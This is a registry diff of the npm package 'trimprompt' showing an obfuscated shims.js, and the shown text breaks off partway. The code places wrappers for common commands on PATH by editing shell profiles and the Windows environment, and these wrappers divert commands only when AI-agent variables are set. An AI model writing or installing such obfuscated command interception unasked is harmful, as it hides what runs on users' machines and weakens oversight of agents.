trimprompt 1.0.34 → 1.0.35
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cache-manager.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/hooks/claude-hook.js +1 -1
- package/index.html +15 -19
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/proxy-conv.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function a0_0x2982(_0x23d98d,_0x25985b){_0x23d98d=_0x23d98d-0x105;const _0x4621be=a0_0x4621();let _0x2982f6=_0x4621be[_0x23d98d];return _0x2982f6;}const a0_0x4b2bba=a0_0x2982;function a0_0x4621(){const _0x5ac55b=['get','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','.trimprompt','1474gTyNPh',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','1081156XRreRK','create','execSync','7894350HFyRcS',';=%\x22','\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20','shims','readFileSync','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','2SCvNZW','getOwnPropertyDescriptor','hasOwnProperty','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','split','\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20',':$PATH\x22','export\x20PATH=\x22','.bashrc','================================================================================','trim.cmd','\x20\x22$@\x22;\x20fi\x0a',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','__esModule','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','unlinkSync','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','cargo','.zshrc','Remove-ItemProperty\x20-Path\x20\x27','writeFileSync','execFileSync','\x27,\x20\x27User\x27)','2367198aFIafR','.cmd','pipe','\x20%*','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','message','homedir','kubectl','5677qBcuYc','if\x20exist\x20\x22','284CygXnc','8zzOpXM','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','\x20&\x20','child_process','git','includes','__setModuleDefault','tree',';\x22\x20+\x20$env:PATH\x0a','\x20@args\x20}\x20else\x20{\x20&\x20','trim.ps1','filter','ruff','yarn','77172gTLBbj','uninstallShims','find','pytest','423255wfWapm','platform','push','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','powershell.exe','powershell\x20-NoProfile\x20-Command\x20\x22','-NoProfile','npx','pip','-Command','ignore','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','755','\x20\x20set\x20\x22PATH=%PATH:','prototype','Failed\x20to\x20install\x20shims:\x20','call','npm','utf8','\x20\x20trim\x20','docker','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','configurable','powershell','replace','\x20-NoProfile\x20-Command\x20\x22','getOwnPropertyNames','default','win32','\x0a$env:PATH\x20=\x20\x22','\x0a#\x20','rmdirSync','__createBinding','7446spHZnk','trim','__importStar','.bash_profile','44115SjctLN','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','map','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','length','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','Set-ItemProperty\x20-Path\x20\x27','defineProperty','TrimPrompt\x20successfully\x20installed\x20for\x20','\x22\x20(','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','.profile','existsSync','\x20\x20exit\x20/b\x20%ERRORLEVEL%','@echo\x20off','join','writable','toLowerCase','dirname','grep',':$PATH\x22\x0a','mkdirSync','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(',')\x20else\x20(','installShims'];a0_0x4621=function(){return _0x5ac55b;};return a0_0x4621();}(function(_0x3d5a5c,_0x221b43){const _0x427d94=a0_0x2982,_0x14c229=_0x3d5a5c();while(!![]){try{const _0x3de467=parseInt(_0x427d94(0x11c))/0x1*(-parseInt(_0x427d94(0x125))/0x2)+-parseInt(_0x427d94(0x17f))/0x3*(-parseInt(_0x427d94(0x146))/0x4)+parseInt(_0x427d94(0x159))/0x5+parseInt(_0x427d94(0x17b))/0x6*(parseInt(_0x427d94(0x144))/0x7)+parseInt(_0x427d94(0x147))/0x8*(-parseInt(_0x427d94(0x13c))/0x9)+parseInt(_0x427d94(0x11f))/0xa+-parseInt(_0x427d94(0x11a))/0xb*(parseInt(_0x427d94(0x155))/0xc);if(_0x3de467===_0x221b43)break;else _0x14c229['push'](_0x14c229['shift']());}catch(_0x1c4d10){_0x14c229['push'](_0x14c229['shift']());}}}(a0_0x4621,0xaf744));var __createBinding=this&&this[a0_0x4b2bba(0x17a)]||(Object[a0_0x4b2bba(0x11d)]?function(_0x549e62,_0x29a38a,_0x5da463,_0x521780){const _0x3d8911=a0_0x4b2bba;if(_0x521780===undefined)_0x521780=_0x5da463;var _0x1965ec=Object[_0x3d8911(0x126)](_0x29a38a,_0x5da463);(!_0x1965ec||(_0x3d8911(0x117)in _0x1965ec?!_0x29a38a[_0x3d8911(0x132)]:_0x1965ec[_0x3d8911(0x10e)]||_0x1965ec[_0x3d8911(0x170)]))&&(_0x1965ec={'enumerable':!![],'get':function(){return _0x29a38a[_0x5da463];}}),Object['defineProperty'](_0x549e62,_0x521780,_0x1965ec);}:function(_0x3e4488,_0x306a8d,_0xd427d3,_0xad986f){if(_0xad986f===undefined)_0xad986f=_0xd427d3;_0x3e4488[_0xad986f]=_0x306a8d[_0xd427d3];}),__setModuleDefault=this&&this[a0_0x4b2bba(0x14d)]||(Object['create']?function(_0x40e312,_0x2d7fb9){const _0x1de8ee=a0_0x4b2bba;Object[_0x1de8ee(0x105)](_0x40e312,_0x1de8ee(0x175),{'enumerable':!![],'value':_0x2d7fb9});}:function(_0x16ff3a,_0x5e351a){_0x16ff3a['default']=_0x5e351a;}),__importStar=this&&this[a0_0x4b2bba(0x17d)]||(function(){var _0x1c3147=function(_0x525776){const _0x462f08=a0_0x2982;return _0x1c3147=Object[_0x462f08(0x174)]||function(_0x459575){const _0x1a7240=_0x462f08;var _0x4a2ef6=[];for(var _0x763b82 in _0x459575)if(Object[_0x1a7240(0x167)][_0x1a7240(0x127)][_0x1a7240(0x169)](_0x459575,_0x763b82))_0x4a2ef6[_0x4a2ef6['length']]=_0x763b82;return _0x4a2ef6;},_0x1c3147(_0x525776);};return function(_0x5aa7c1){const _0x594921=a0_0x2982;if(_0x5aa7c1&&_0x5aa7c1['__esModule'])return _0x5aa7c1;var _0x2b6df9={};if(_0x5aa7c1!=null){for(var _0x3f1d5a=_0x1c3147(_0x5aa7c1),_0x4224bd=0x0;_0x4224bd<_0x3f1d5a['length'];_0x4224bd++)if(_0x3f1d5a[_0x4224bd]!==_0x594921(0x175))__createBinding(_0x2b6df9,_0x5aa7c1,_0x3f1d5a[_0x4224bd]);}return __setModuleDefault(_0x2b6df9,_0x5aa7c1),_0x2b6df9;};}());Object[a0_0x4b2bba(0x105)](exports,a0_0x4b2bba(0x132),{'value':!![]}),exports[a0_0x4b2bba(0x116)]=installShims,exports[a0_0x4b2bba(0x156)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x4b2bba(0x14e),'cat','read',a0_0x4b2bba(0x111),'rg',a0_0x4b2bba(0x153),a0_0x4b2bba(0x14b),'gh','glab',a0_0x4b2bba(0x136),a0_0x4b2bba(0x16a),'pnpm',a0_0x4b2bba(0x160),a0_0x4b2bba(0x154),a0_0x4b2bba(0x143),a0_0x4b2bba(0x16d),a0_0x4b2bba(0x158),a0_0x4b2bba(0x161),'pip3','go',a0_0x4b2bba(0x157)],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){const _0x24dc6e=a0_0x4b2bba;return require('child_process')[_0x24dc6e(0x11e)];}function getExecFileSync(){const _0xd87ca8=a0_0x4b2bba;return require(_0xd87ca8(0x14a))[_0xd87ca8(0x13a)];}function ensureProfileContains(_0xa6ad6e,_0x460819,_0x22d00a){const _0x38d3b2=a0_0x4b2bba;try{const _0x3ed6bf=path[_0x38d3b2(0x110)](_0xa6ad6e);!fs['existsSync'](_0x3ed6bf)&&fs['mkdirSync'](_0x3ed6bf,{'recursive':!![]});if(fs[_0x38d3b2(0x10a)](_0xa6ad6e)){const _0x497280=fs[_0x38d3b2(0x123)](_0xa6ad6e,'utf8');if(_0x497280['includes'](_0x460819))return;fs['appendFileSync'](_0xa6ad6e,_0x22d00a,_0x38d3b2(0x16b));}else fs['writeFileSync'](_0xa6ad6e,_0x22d00a,_0x38d3b2(0x16b));}catch{}}function removeProfileBlock(_0x1e4809,_0xf1565a){const _0x5c0d08=a0_0x4b2bba;try{if(!fs[_0x5c0d08(0x10a)](_0x1e4809))return;const _0x802920=fs[_0x5c0d08(0x123)](_0x1e4809,_0x5c0d08(0x16b));if(!_0x802920[_0x5c0d08(0x14c)](_0xf1565a))return;const _0x1f868f=_0x802920['split']('\x0a'),_0x35c446=[];let _0x37e22f=![];for(let _0x464fbd=0x0;_0x464fbd<_0x1f868f[_0x5c0d08(0x183)];_0x464fbd++){if(_0x1f868f[_0x464fbd][_0x5c0d08(0x14c)](_0xf1565a)){_0x37e22f=!![];continue;}if(_0x37e22f){_0x37e22f=![];continue;}_0x35c446[_0x5c0d08(0x15b)](_0x1f868f[_0x464fbd]);}const _0xcd5214=_0x35c446[_0x5c0d08(0x10d)]('\x0a')[_0x5c0d08(0x172)](/\n{3,}/g,'\x0a\x0a');fs[_0x5c0d08(0x139)](_0x1e4809,_0xcd5214,_0x5c0d08(0x16b));}catch{}}function collectPowerShellProfiles(){const _0x1ad654=a0_0x4b2bba,_0x13a0e3=getExecSync(),_0x292bcc=[],_0x36523a=[[_0x1ad654(0x171),'$PROFILE.CurrentUserCurrentHost'],['powershell','$PROFILE.CurrentUserAllHosts']];try{_0x13a0e3('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1ad654(0x163)}),_0x36523a[_0x1ad654(0x15b)](['pwsh','$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x4eeea8,_0x4968c3]of _0x36523a){try{const _0x3c8744=_0x13a0e3(_0x4eeea8+_0x1ad654(0x173)+_0x4968c3+'\x22',{'encoding':'utf8'})[_0x1ad654(0x17c)]();_0x3c8744&&!_0x292bcc['some'](_0xf109ec=>_0xf109ec['toLowerCase']()===_0x3c8744['toLowerCase']())&&_0x292bcc['push'](_0x3c8744);}catch{}}return _0x292bcc;}function getBashProfilesWindows(){const _0x2f0389=a0_0x4b2bba,_0x2ba83a=os[_0x2f0389(0x142)]();return[_0x2f0389(0x12d),_0x2f0389(0x17e)][_0x2f0389(0x181)](_0x5868a0=>path[_0x2f0389(0x10d)](_0x2ba83a,_0x5868a0));}function getBroadcastCommand(){const _0x2bf333=a0_0x4b2bba;return _0x2bf333(0x182);}function installShims(){const _0x3ebdb8=a0_0x4b2bba,_0x1fdd64=path[_0x3ebdb8(0x10d)](os['homedir'](),_0x3ebdb8(0x119),_0x3ebdb8(0x122));try{!fs[_0x3ebdb8(0x10a)](_0x1fdd64)&&fs[_0x3ebdb8(0x113)](_0x1fdd64,{'recursive':!![]});const _0xb854bb=os['platform']()==='win32';for(const _0x149f16 of SHIMMED_COMMANDS){if(_0xb854bb){const _0x40d850=path[_0x3ebdb8(0x10d)](_0x1fdd64,_0x149f16+_0x3ebdb8(0x13d)),_0x1e705f=process.env.APPDATA?path[_0x3ebdb8(0x10d)](process.env.APPDATA,_0x3ebdb8(0x16a)):'',_0x591329=_0x1e705f?path[_0x3ebdb8(0x10d)](_0x1e705f,_0x3ebdb8(0x12f)):'%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd',_0x215042=[_0x3ebdb8(0x10c),_0x3ebdb8(0x114),_0x3ebdb8(0x166)+_0x1fdd64+';=%\x22','\x20\x20'+_0x149f16+'\x20%*',_0x3ebdb8(0x10b),')',_0x3ebdb8(0x145)+_0x591329+_0x3ebdb8(0x107),_0x3ebdb8(0x16c)+_0x149f16+_0x3ebdb8(0x13f),_0x3ebdb8(0x115),_0x3ebdb8(0x166)+_0x1fdd64+_0x3ebdb8(0x120),'\x20\x20'+_0x149f16+_0x3ebdb8(0x13f),')'][_0x3ebdb8(0x10d)]('\x0d\x0a')+'\x0d\x0a';fs[_0x3ebdb8(0x139)](_0x40d850,_0x215042,'utf8');const _0x224556=path[_0x3ebdb8(0x10d)](_0x1fdd64,_0x149f16+'.ps1'),_0x144076='if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x149f16+_0x3ebdb8(0x150)+_0x149f16+_0x3ebdb8(0x121)+_0x149f16+'\x20@args\x0a}\x0a';fs[_0x3ebdb8(0x139)](_0x224556,_0x144076,_0x3ebdb8(0x16b));const _0x5c1d8d=path[_0x3ebdb8(0x10d)](_0x1fdd64,_0x149f16),_0x3f3b1e=_0x1fdd64[_0x3ebdb8(0x172)](/\\/g,'/')[_0x3ebdb8(0x172)](/^([A-Za-z]):/,(_0x8ac187,_0xae0731)=>'/'+_0xae0731['toLowerCase']()),_0x3976a9='#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x149f16+_0x3ebdb8(0x108)+_0x3f3b1e+_0x3ebdb8(0x11b)+_0x149f16+_0x3ebdb8(0x180)+_0x3f3b1e+_0x3ebdb8(0x131)+_0x149f16+'\x20\x22$@\x22\x0afi\x0a';fs[_0x3ebdb8(0x139)](_0x5c1d8d,_0x3976a9,_0x3ebdb8(0x16b));}else{const _0xc7eb4b=path[_0x3ebdb8(0x10d)](_0x1fdd64,_0x149f16),_0x1fc0d6=_0x3ebdb8(0x124)+_0x149f16+_0x3ebdb8(0x164)+_0x149f16+_0x3ebdb8(0x130);fs['writeFileSync'](_0xc7eb4b,_0x1fc0d6,'utf8'),fs['chmodSync'](_0xc7eb4b,_0x3ebdb8(0x165));}}let _0x4d5080=![],_0x19c678='';if(_0xb854bb)try{const _0x2bbc04=getExecSync(),_0x49720c=_0x3ebdb8(0x178)+PROFILE_MARKER+_0x3ebdb8(0x177)+_0x1fdd64+_0x3ebdb8(0x14f),_0x205948=collectPowerShellProfiles();for(const _0x2d14c8 of _0x205948){ensureProfileContains(_0x2d14c8,_0x1fdd64,_0x49720c);}try{const _0x167b81=_0x1fdd64[_0x3ebdb8(0x172)](/\\/g,'/')[_0x3ebdb8(0x172)](/^([A-Za-z]):/,(_0x29070b,_0x19d78)=>'/'+_0x19d78[_0x3ebdb8(0x10f)]()),_0x40a597=_0x3ebdb8(0x178)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0x167b81+':$PATH\x22\x0a',_0x297152=getBashProfilesWindows();let _0x89c161=![];for(const _0x2c1bca of _0x297152){fs[_0x3ebdb8(0x10a)](_0x2c1bca)&&(ensureProfileContains(_0x2c1bca,_0x167b81,_0x40a597),_0x89c161=!![]);}!_0x89c161&&ensureProfileContains(_0x297152[0x0],_0x167b81,_0x40a597);}catch{}const _0x30ad9d=_0x3ebdb8(0x140),_0x37a3ef=_0x2bbc04(_0x3ebdb8(0x15e)+_0x30ad9d+'\x22',{'encoding':'utf8','stdio':[_0x3ebdb8(0x13e),_0x3ebdb8(0x13e),'ignore']})[_0x3ebdb8(0x17c)]();if(!_0x37a3ef[_0x3ebdb8(0x14c)](_0x1fdd64)){const _0x10e4f9=_0x1fdd64+';'+_0x37a3ef,_0x42422a=_0x10e4f9[_0x3ebdb8(0x172)](/'/g,'\x27\x27'),_0x3ae37b=_0x3ebdb8(0x128)+_0x42422a+_0x3ebdb8(0x13b);_0x2bbc04(_0x3ebdb8(0x15e)+_0x3ae37b+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3ebdb8(0x163)});}const _0x57b5c=path[_0x3ebdb8(0x10d)](process.env.APPDATA||'',_0x3ebdb8(0x16a),_0x3ebdb8(0x151));if(fs[_0x3ebdb8(0x10a)](_0x57b5c))try{fs[_0x3ebdb8(0x134)](_0x57b5c);}catch{}_0x4d5080=!![];}catch(_0xf4454e){_0x19c678=_0x3ebdb8(0x16e)+_0x1fdd64;}else try{const _0x23bfaf=_0x3ebdb8(0x12c)+_0x1fdd64+_0x3ebdb8(0x112),_0x2c49cb=os[_0x3ebdb8(0x142)](),_0x5cb1df=['.bashrc',_0x3ebdb8(0x137),_0x3ebdb8(0x17e),_0x3ebdb8(0x109)];let _0x264ac7=![];for(const _0x136859 of _0x5cb1df){const _0x9641b3=path['join'](_0x2c49cb,_0x136859);fs[_0x3ebdb8(0x10a)](_0x9641b3)&&(ensureProfileContains(_0x9641b3,_0x1fdd64,_0x3ebdb8(0x178)+PROFILE_MARKER+'\x0a'+_0x23bfaf),_0x264ac7=!![]);}if(!_0x264ac7){const _0x40b817=path['join'](_0x2c49cb,_0x3ebdb8(0x12d));ensureProfileContains(_0x40b817,_0x1fdd64,_0x3ebdb8(0x178)+PROFILE_MARKER+'\x0a'+_0x23bfaf);}_0x4d5080=!![];}catch(_0x2c75a6){_0x19c678=_0x3ebdb8(0x148)+_0x1fdd64+_0x3ebdb8(0x12b);}const _0x4d7992=[_0x3ebdb8(0x12e),_0x3ebdb8(0x184),_0x3ebdb8(0x12e),'\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)',_0x3ebdb8(0x16f),_0x3ebdb8(0x12e)][_0x3ebdb8(0x10d)]('\x0a'),_0x2539c4=_0x4d5080?_0x4d7992:_0x3ebdb8(0x106)+SHIMMED_COMMANDS[_0x3ebdb8(0x183)]+_0x3ebdb8(0x12a)+_0x19c678;return{'success':!![],'pathDir':_0x1fdd64,'message':_0x2539c4};}catch(_0x4776aa){return{'success':![],'pathDir':_0x1fdd64,'message':_0x3ebdb8(0x168)+_0x4776aa[_0x3ebdb8(0x141)]};}}function uninstallShims(){const _0x5ba4a2=a0_0x4b2bba,_0xa7df0a=path[_0x5ba4a2(0x10d)](os[_0x5ba4a2(0x142)](),_0x5ba4a2(0x119),_0x5ba4a2(0x122)),_0xfd5ec2=os[_0x5ba4a2(0x15a)]()===_0x5ba4a2(0x176);try{if(_0xfd5ec2){const _0x55dc92=getExecSync();try{const _0x475c22=getExecFileSync(),_0x200c39='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x5ac363='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x200c39+_0x5ba4a2(0x15c),_0x4b969b=_0x475c22(_0x5ba4a2(0x15d),[_0x5ba4a2(0x15f),_0x5ba4a2(0x162),_0x5ac363],{'encoding':_0x5ba4a2(0x16b),'stdio':[_0x5ba4a2(0x13e),_0x5ba4a2(0x13e),_0x5ba4a2(0x163)]})[_0x5ba4a2(0x17c)]();if(_0x4b969b[_0x5ba4a2(0x14c)](_0xa7df0a)){const _0x22a824=_0x4b969b[_0x5ba4a2(0x129)](_0x5ba4a2(0x149))[_0x5ba4a2(0x152)](_0x15f1c5=>!_0x15f1c5[_0x5ba4a2(0x14c)](_0xa7df0a));if(_0x22a824['length']===0x0){const _0x4bdb5e=_0x5ba4a2(0x138)+_0x200c39+_0x5ba4a2(0x135);_0x475c22(_0x5ba4a2(0x15d),['-NoProfile',_0x5ba4a2(0x162),_0x4bdb5e],{'stdio':'ignore'});}else{const _0x2c7255=_0x22a824[_0x5ba4a2(0x10d)](_0x5ba4a2(0x149)),_0x14a5c8=_0x5ba4a2(0x185)+_0x200c39+_0x5ba4a2(0x118)+_0x2c7255+'\x27';_0x475c22(_0x5ba4a2(0x15d),[_0x5ba4a2(0x15f),_0x5ba4a2(0x162),_0x14a5c8],{'stdio':_0x5ba4a2(0x163)});}}}catch{}try{const _0x536d0d=collectPowerShellProfiles();for(const _0x47506a of _0x536d0d){removeProfileBlock(_0x47506a,PROFILE_MARKER);}}catch{}try{for(const _0x351db3 of getBashProfilesWindows()){removeProfileBlock(_0x351db3,PROFILE_MARKER);}}catch{}try{const _0x37ab76=_0x5ba4a2(0x140),_0x1690ec=_0x55dc92(_0x5ba4a2(0x15e)+_0x37ab76+'\x22',{'encoding':_0x5ba4a2(0x16b),'stdio':[_0x5ba4a2(0x13e),_0x5ba4a2(0x13e),_0x5ba4a2(0x163)]})[_0x5ba4a2(0x17c)]();if(_0x1690ec[_0x5ba4a2(0x14c)](_0xa7df0a)){const _0x199fee=_0x1690ec[_0x5ba4a2(0x129)](';')[_0x5ba4a2(0x152)](_0x509c0a=>_0x509c0a[_0x5ba4a2(0x17c)]()['toLowerCase']()!==_0xa7df0a[_0x5ba4a2(0x10f)]())['join'](';'),_0x4e3330=_0x199fee[_0x5ba4a2(0x172)](/'/g,'\x27\x27'),_0x29c8a4=_0x5ba4a2(0x128)+_0x4e3330+_0x5ba4a2(0x13b);_0x55dc92('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x29c8a4+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}}catch{}}else{const _0x2a9cfa=os[_0x5ba4a2(0x142)](),_0x7aa34d=['.bashrc',_0x5ba4a2(0x137),_0x5ba4a2(0x17e),_0x5ba4a2(0x109)];for(const _0x2f3e2c of _0x7aa34d){removeProfileBlock(path[_0x5ba4a2(0x10d)](_0x2a9cfa,_0x2f3e2c),PROFILE_MARKER);}}if(fs[_0x5ba4a2(0x10a)](_0xa7df0a)){const _0x109426=fs['readdirSync'](_0xa7df0a);for(const _0x37209c of _0x109426){fs['unlinkSync'](path[_0x5ba4a2(0x10d)](_0xa7df0a,_0x37209c));}fs[_0x5ba4a2(0x179)](_0xa7df0a);}return{'success':!![],'message':_0x5ba4a2(0x133)};}catch(_0x159d9f){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x159d9f['message']};}}
|
|
1
|
+
'use strict';const a0_0x132661=a0_0x466d;(function(_0x1e4bd5,_0x1974e8){const _0x169873=a0_0x466d,_0x47d052=_0x1e4bd5();while(!![]){try{const _0x14193d=-parseInt(_0x169873(0xd2))/0x1*(-parseInt(_0x169873(0x109))/0x2)+parseInt(_0x169873(0xcd))/0x3*(parseInt(_0x169873(0xf5))/0x4)+parseInt(_0x169873(0x9b))/0x5+parseInt(_0x169873(0xe8))/0x6*(parseInt(_0x169873(0xfc))/0x7)+-parseInt(_0x169873(0xca))/0x8+parseInt(_0x169873(0xc4))/0x9+-parseInt(_0x169873(0xc0))/0xa*(parseInt(_0x169873(0x9d))/0xb);if(_0x14193d===_0x1974e8)break;else _0x47d052['push'](_0x47d052['shift']());}catch(_0x12bf52){_0x47d052['push'](_0x47d052['shift']());}}}(a0_0x1426,0x77c09));function a0_0x1426(){const _0x1d3243=['TrimPrompt\x20Shims\x20PATH','shims','export\x20PATH=\x22','join','pytest','pip',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','-NoProfile','chmodSync',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','20dLHHFu','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','platform','__setModuleDefault','158508EIxtcR','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','configurable','$PROFILE.CurrentUserCurrentHost','dirname','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','2399304KBuNAL','================================================================================','.profile','6ZJDSXe','glab','installShims','\x20-NoProfile\x20-Command\x20\x22','npm','1rtedvN','.zshrc','trim','includes','path','ruff','writeFileSync','if\x20exist\x20\x22','__importStar','pwsh','npx','getOwnPropertyDescriptor','git','\x20&\x20','\x22\x20(','755','-Command','Failed\x20to\x20install\x20shims:\x20','tree','some','Remove-ItemProperty\x20-Path\x20\x27','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','24SVGVCO','if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','.trimprompt','homedir','push','\x20\x22$@\x22;\x20fi\x0a','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','split','powershell\x20-NoProfile\x20-Command\x20\x